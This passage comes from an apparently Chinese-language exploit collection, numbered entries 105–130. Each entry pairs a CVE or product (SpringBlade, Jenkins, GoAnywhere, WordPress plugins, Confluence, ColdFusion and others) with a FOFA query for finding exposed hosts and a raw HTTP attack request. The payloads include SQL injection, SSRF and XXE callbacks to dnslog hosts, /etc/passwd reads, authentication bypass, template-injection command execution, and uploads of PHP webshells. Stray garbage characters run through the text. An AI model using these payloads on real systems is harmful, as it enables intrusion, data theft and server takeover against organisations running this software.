Connection:close

8 ]) p$ X" k+ x& @' ]" _7 ?{
4 b5 E2 t% P( e; J"topicurl":"getSysStatusCfg",
"token":""
* F$ w2 l/ `5 s1 W1 D, _, w}
3 A! e! B) _5 X. X2 Y% R
105. SpringBlade v3.2.0 export-user SQL 注入
FOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
! t( C& A, j7 c; m, w
% s0 W( }/ E$ G3 U* H' k106. SpringBlade dict-biz/list SQL 注入
, W% l; t8 I% l3 fFOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
1 T( I: V/ [8 y3 ]5 \- t. xHost: your-ip
4 A4 G6 f6 i! E8 H4 _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
/ n/ ]* w8 X8 _) F. UAccept-Language: zh-CN,zh;q=0.9
Connection: close
3 V% J- B. R1 [

' e6 B$ z$ b, [( [3 G# {3 l) e107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
# @" `7 v; F: R" ^/ oGET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
. i) q9 ~* R+ D. OBlade-Auth:替换为自己的
Connection: close

$ B* r& B. ]! d* d" C: b' O
0 D! L6 U/ z5 r9 I5 M# l) N108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
1 o7 I; t3 B% s3 x2 }) p6 ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
/ p) J. p0 u9 Q2 f) p, {Connection: close


109. Jenkins CLI 任意文件读取
/ z% ?% F, d- C: ~" D- ?: yCVE-2024-23897
, K5 C: _) O  k: T/ bFOFA：header="X-Jenkins"
% Q! ^, D  D% n: T( D- ?. k, APOST /cli?remoting=false HTTP/1.1
Host:
, l$ y; r7 U- E  aContent-type: application/octet-stream
$ d% P2 q* h& Y" d" v$ U8 |/ HSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
" t5 D( z3 N' M- c' oSide: upload
9 G) w0 ]9 f5 W- _: |3 M" iConnection: keep-alive
Content-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


POST /cli?remoting=false HTTP/1.1
8 i: l% ^& ^5 ^7 Q) @  VHost:
( l$ Z0 A4 a5 s( CSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
/ i; A2 G: S" X7 s1 w& udownload
Content-Type: application/x-www-form-urlencoded
$ [0 L* q4 x  c5 o9 O. _Content-Length: 0

5 t9 O  x. j3 {
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
( s  U/ W5 I( {' z[COMMAND]
, Y3 K$ G% E! F6 Y& B. S& m9 `1 Y- CLists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


110. Goanywhere MFT 未授权创建管理员
, H9 G6 S* Y" ?- G; |CVE-2024-0204
3 |4 ^5 l3 T. L4 i" AFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
3 [8 I- f( r9 R6 p# k) ^* o$ S2 wUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
9 A. ]2 |- x; a( ^Connection: close
9 O$ t3 Q, h/ c# m3 sAccept: */*
# ~6 D! K6 }0 ~3 PAccept-Language: en
' C0 E; t' H" j, ?Accept-Encoding: gzip


) w4 s4 g8 M5 `111. WordPress Plugin HTML5 Video Player SQL注入
5 R2 J0 ^$ Z5 h1 f- j& f9 DCVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
$ f2 n- R, c. ^% B2 EAccept: */*
Accept-Language: en
Accept-Encoding: gzip


112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
; {: b, X5 V1 z; g- NFOFA：body="/wp-content/plugins/notificationx"
- k$ b) h9 v. ^1 R  GPOST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
# K$ k; U- i5 A
{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
. L1 i/ J% G# z1 T' G

113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
1 }9 `* J* \* _& Q6 M6 B  UFOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
) P% o% e6 {4 A7 F* S8 {! I5 vConnection: close
Accept: */*
8 X3 N. }9 |( v! @- q6 {9 s4 dAccept-Language: en
: V. \9 P" g" m1 ]9 Z8 T9 }+ s; UAccept-Encoding: gzip

- q# w9 L8 b9 k3 E. T2 `) B" n* P
+ i, J; q6 N$ u, L114. WordPress MasterStudy LMS插件 SQL注入
2 J& H* B/ C6 k6 ^5 u* nFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
! ?# T& c+ W( u+ p9 l; jAccept-Encoding: gzip, deflate
0 \0 c  _* g  L0 t, m( EConnection: close
' q0 M+ _% F2 p7 @3 B
' |  e: A# f& O  O5 I! j
115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
9 s1 [/ S5 w% qFOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
9 i, @5 @& L, dGET / HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
9 i/ B/ d- ]* a* FConnection: close
; k9 L1 s; ~5 q$ c4 u' FAccept-Encoding: gzip

3 V% D( T( z. e5 H5 B9 X
8 L" Q: I6 ~) D% b第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
$ B/ J9 S: _, J% r- K" h0 aHost: x.x.x.x
! X7 @8 J! ^" Y( k* e/ d0 zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
$ q$ _' H9 f: `4 V$ Z7 C/ j1 s" TConnection: close
; e- H" G9 t1 w, o$ D) i/ cContent-Length: 356
) p4 e1 r3 f0 p- Y" o7 OContent-Type: application/json
0 g" R/ E, V2 s5 IAccept-Encoding: gzip

{
9 C! k- c& ?0 w) ]& b"postId": "1",
4 r( ^4 g1 T4 {" k  H' t6 k$ R* P  "nonce": "第一步获得的值",
  "element": {
& w7 @1 U6 y/ V/ P' v; a    "name": "container",
    "settings": {
      "hasLoop": "true",
, ]& w( F$ q: _0 Y2 J! _) P      "query": {
  Z' A* L5 ~4 k        "useQueryEditor": true,
        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
      }
    }
  }
) \" j- O$ F9 l  e3 f/ |/ ?}
$ l) g! D- s, ?, O4 V1 l
  W; W8 Q  o# q1 Y% E9 U9 F' f, i
/ \1 j, t1 Z! `- I4 Z116. wordpress js-support-ticket文件上传
$ b( F# p! h; z" P6 yFOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
" D3 ?# {0 u' eContent-Type: multipart/form-data; boundary=--------767099171
* o- B/ O) n$ W% h4 @6 S( h! ]9 wUser-Agent: Mozilla/5.0

----------767099171
Content-Disposition: form-data; name="action"
4 h- e% G0 A# v. k$ d: Y( aconfiguration_saveconfiguration
: C' R) M" q! ?6 \; D" L  y5 o* d----------767099171
" }2 w- k" k6 i* X4 Y; Y) z, uContent-Disposition: form-data; name="form_request"
jssupportticket
* |' R3 `7 e0 f; S6 W0 }' b* S* R----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
% ]. `! y# G) ]- t; w+ L( {( k----------767099171--

. p0 K0 N$ |9 n9 z- v( U
: |9 t8 w8 {. Y) C. L117. WordPress LayerSlider插件SQL注入
version：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
: m0 }" B9 a2 d- @2 m( H4 wGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
7 |. [) G1 l$ U4 A2 |$ N: sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ P# Y1 ?: U( SAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 Q% u% h) L* Z$ L  d) SAccept-Encoding: gzip, deflate, br
Connection: close
  N. s: |1 ^4 e0 x% v/ ]3 `Upgrade-Insecure-Requests: 1
4 C% g- o/ ]$ M8 [+ i) Z
  S- Q0 S9 e5 I8 N! h
5 d! a' n7 |% C: I9 B5 ]9 U118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
5 a. ?9 X# V+ n  N9 s' u: ?CVE-2024-0939
FOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
0 a5 l2 @& }: BHost: 192.168.40.130:8443
  x) E- W5 \* a3 J! UCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 [' r9 ?3 w! GAccept-Encoding: gzip, deflate
; H* m( F1 ^* xContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
- L1 L9 G9 k# \0 X5 T- O- AContent-Length: 405
Origin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
$ X- P3 B! a9 p- m8 qSec-Fetch-Dest: document
2 ?  R) _6 y  V2 R( M2 ^7 wSec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
; r4 s0 x; n8 ]& t' H" LSec-Fetch-User: ?1
2 f' _8 O9 h; h, q6 D9 \+ mTe: trailers
& D% B" \9 d8 f- A& eConnection: close
6 c% S8 E1 u* F) x. p
4 w% T- w5 k/ I-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream

9 e8 w9 z7 n9 D6 O# n! J<?php
system($_POST["passwd"]);
3 d- E1 L4 M* K?>
-----------------------------13979701222747646634037182887
# T- n3 W6 M" S- Y4 I6 x8 YContent-Disposition: form-data; name="txt_path"
$ |9 f8 J+ M' O- B. j" v
/home/src.php
-----------------------------13979701222747646634037182887--
* R3 X! y+ E4 x
* p$ |' Z+ z& X2 H9 R- ^- c. Z: j5 z
, M$ s# C& I* [5 b& W1 S访问/home/src.php

$ W% M0 N. `1 ]9 M! q! @5 v7 m119. 北京百绰智能S20后台sysmanageajax.php sql注入
6 P3 [8 b: ]& |- TCVE-2024-1254
: M- D2 T# J/ D' kFOFA：title="Smart管理平台"
2 O4 s! G5 X% e& U3 x' @( e先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
1 f' R. N" e) _4 e9 QCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
2 c- l0 h" r) HContent-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
& ]$ J! S4 o4 z( JReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
( g' ~$ x& _7 q# d$ k# L$ LSec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
/ O+ y5 ~, p6 _6 ^* HSec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
0 c: e7 v+ C- @X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
2 l9 C6 |# e, P3 _+ KTe: trailers
. O5 k3 I9 Z9 `* V( r: A6 D- SConnection: close

src=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
3 i) E1 r( J. z) R0 g; @# p/ l
- S# u4 z! g; }
% k- h0 n: j3 d4 W120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
2 @( ?) K6 K- T' {, s2 u9 s3 Z9 mPOST /useratte/web.php? HTTP/1.1
Host: ip:port
" {' c* G! v. f0 o- P, RCookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
. {& U. x' l( S7 Y1 B: E0 I5 \User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  M" _$ e+ j; x% \# ]1 n* Y' r  {9 |Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 p* v& ^  h) q8 LAccept-Encoding: gzip, deflate
5 |; C) x% K0 @! z8 Z; |Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
& x4 Q% _  J6 a- H2 J- X; \/ m+ AContent-Length: 597
; d6 r2 c) G* {5 f2 c0 M& g( oOrigin: https://ip:port
; t( z+ u5 o$ U1 {6 K! ~/ Z! }3 `2 `Referer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
( |; C% y6 {) s+ o3 z6 _Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
- U% \, n  _3 ^0 H$ F; Y8 fTe: trailers
2 _& x' e3 g! Z( m5 U) O' p" yConnection: close
5 \7 p. y% B/ b% X- B! Y7 k
-----------------------------42328904123665875270630079328
; a* C, N- R0 N5 RContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

<?php phpinfo()?>
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
$ G* x( Q6 y* D# m
1
: r8 Z; K% H' `. w* E" a  i-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
7 Q7 w- h# k3 E' K: f1 N' M# C0 e: R
1_radhttp
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"

  ~- v* O# M* [% m( _: @: gimport
-----------------------------42328904123665875270630079328


8 W$ t3 [8 c6 k! s2 ?. d文件路径/upload/2.php
9 U* y2 e; }6 @
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
" L4 |: A; s4 sFOFA：title="Smart管理平台"
; {3 _" h, K$ T* e/ LPOST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
+ |+ O5 H& C& a' R; [1 @Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
# {' h; D2 V% k8 ?7 u. |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
0 Z8 h5 M5 r- G# @- aSec-Fetch-Mode: navigate
- z' W; T" W) j+ Y) q( _+ {Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
' p: n# T- X/ S$ ]Te: trailers
- o4 @1 J% O9 I" xConnection: close

; K7 |& c8 x% y0 R: p$ a" Z-----------------------------42328904123665875270630079328
6 M/ T! w: m+ V) MContent-Disposition: form-data; name="web_img"; filename="1.php"
+ _* E7 ]2 j/ i+ [Content-Type: application/octet-stream
4 u+ @+ ^# A$ \2 ]# O! c
<?php phpinfo();?>
' I3 V9 i; i' n- I' h-----------------------------42328904123665875270630079328
2 r9 Y7 w/ t! F, K' ?  d) xContent-Disposition: form-data; name="id_type"

1
+ ]8 N5 r2 P4 `/ X* s/ w; w' v( q& E-----------------------------42328904123665875270630079328
+ @  v  Y( E9 G; X8 C6 {, ]9 x9 LContent-Disposition: form-data; name="1_ck"

1_radhttp
9 i7 C+ X4 r6 R6 i; u-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="hidwel"
. g' i& S3 w. q" A2 w
set
" y" Y$ u  p& [-----------------------------42328904123665875270630079328

2 f7 C3 X, a* s8 ]
boot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
$ F$ `! L# r' nCVE-2024-27718FOFA：title="Smart管理平台"
& `$ Q; Z" s6 ]6 d4 D) x0 p其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
( ^+ m% A( [# B3 |: Z" LGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
  h& Y9 R, t6 d; ]+ aHost: x.x.x.x
, N( d% |; p( Y) i, |2 p0 r7 {- sCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ s7 r0 ]/ P2 v) [) m2 K; vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 Q6 Y! w' x9 RAccept-Encoding: gzip, deflate, br
8 T) j! S% K+ y3 V: HUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
' W' U; X, |( }" OSec-Fetch-Mode: navigate
Sec-Fetch-Site: none
* g3 l" Z& }6 PSec-Fetch-User: ?1
0 f& |. d9 [* m7 u7 W3 UTe: trailers
# p- |# w) M5 j5 m% l% HConnection: close
# t  |, o* ^# A; x' H

123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
* i: W4 o8 K7 i/ L9 O. XHost: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
0 v; n" m( u4 k6 ~* kAccept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
$ z$ ?. J% B$ F: z7 l; YConnection: close
3 Q: n) M% l* q4 n$ ^' r! NContent-Type: application/x-www-form-urlencoded

8 F3 `" J& T* [! u: blabel=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


5 _7 s6 @8 B$ u8 R124. 湖南建研工程质量检测系统任意文件上传
FOFA：body="/Content/Theme/Standard/webSite/login.css"
0 ^3 ^9 h8 e7 E( ~$ wPOST /Scripts/admintool?type=updatefile HTTP/1.1
$ }7 b. ~' M4 z7 ?7 [( \: {* IHost: 192.168.40.130:8282
+ L2 g4 o: X3 Y/ h9 }6 }# @% FUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
* E8 d: {5 \* |; hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
! e6 y- u" I1 b; H; `" b1 ]Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
0 `* w3 \, r; y9 y2 Y! c8 H- V
$ C5 T; ?' c3 ?0 j, X# N8 X0 pfilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
1 {, u7 r/ |, P3 a  t
( c' j9 o8 D' U1 M1 R) y. ~: N- |. i
- W8 y2 I% t: i( X6 A0 c' M& S# vhttp://192.168.40.130:8282/Scripts/abcgcg.aspx
. J# ?$ O4 `- c. G8 J  A: k
" T' d: v! t; w6 x7 X2 R125. ConnectWise ScreenConnect身份验证绕过
% Y# b# Z; ~8 E: c: g0 {& S9 CCVE-2024-1709
2 e' N( f- x. R0 @0 j) eFOFA：icon_hash="-82958153"
https://github.com/watchtowrlabs ... bypass-add-user-poc
. K& X" f' r8 N9 \" C6 ]: H1 q

, o5 M6 T* W( v' p$ r  i, ~" S使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
) A; F$ I8 g9 L" z
; J0 E# u4 F8 d" v- V
创建好用户后直接登录后台，可以执行系统命令。

8 Y( H6 ]6 T6 d$ y8 _126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
  B2 q' y; N$ iGET /static/../../../../../etc/passwd HTTP/1.1
" C* R; M$ j' Y& {9 lHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
: }4 }2 b( d9 H2 oAccept: */*
, o/ s6 a" C* `Accept-Language: en
: X9 |! Q& Y& ^/ c. \' dAccept-Encoding: gzip

7 ]* C3 r1 P' k6 l0 s. }
127. 广联达Linkworks DataExchange.ashx XXE
; S, E- H& ~- T! H9 BFOFA：body="Services/Identification/login.ashx"
' B' P; R) {% e1 ]8 u% zPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
- R0 e  W2 O8 S$ V$ FHost: 192.168.40.130:8888
* x. ^, o8 X8 ^7 }) E) f+ f1 NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
. U$ t+ T% u7 q2 U5 mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  `6 g, e; L" xAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 ?1 O" \5 v3 }$ W* G3 bConnection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
& W! ~" C* x! l5 vPurpose: prefetch
( ^; n* k8 r/ K3 p. qSec-Purpose: prefetch;prerender
! [" A6 b3 }3 |
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"
$ u- E, }) v5 o5 n% W
0 p% A& `; _5 y2 D; n; H  M1 s2 OBIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
6 A; f0 ]+ U. ^/ y" \8 \& B" z<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
]
>
' G% J) V* u/ o3 K<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--
7 K" E$ s  o( a# |, Y6 D' h
% n3 F4 ]+ W7 ?) S

128. Adobe ColdFusion 反序列化
% g5 u0 \) l, G$ V) o4 Q1 _  FCVE-2023-38203
$ T- c( b5 K& a# WAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
& l2 B% T- L# G! ?' G" Q( ^FOFA：app="Adobe-ColdFusion"
PAYLOAD
/ L. U7 r: G+ @
129. Adobe ColdFusion 任意文件读取
9 e5 V4 e- n4 `& z% u- ]CVE-2024-20767
3 [# `! i4 q4 y* L" `$ V! NFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
$ e1 [* E+ @/ B" z第一步，获取uuid
3 N" s9 q+ F- ^  ZGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
& @; r/ R( W# t( I8 sHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
* C3 R3 C+ u" w' t* NConnection: close


- i# O) m% E' M" R% h8 P- J4 s! Y; Q第二步，读取/etc/passwd文件
' A! [! W8 k: f: d; X" U2 TGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
) f  d7 [/ G$ fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
- Y. m  T# ?* }Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9


130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
  M4 v, J" g; q+ y$ OPOST /admin/users/upavatar.html HTTP/1.1
0 D! z; b" |! w8 S# ]% K# jHost: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
# x% D# L8 _2 ]" pContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
# E5 [8 G  k& ^6 t' k7 j% nConnection: close
4 c  L0 y# z6 A/ k
------WebKitFormBoundary3OCVBiwBVsNuB2kR
) A: V% w; X! x; OContent-Disposition: form-data; name="file"; filename="1.php"
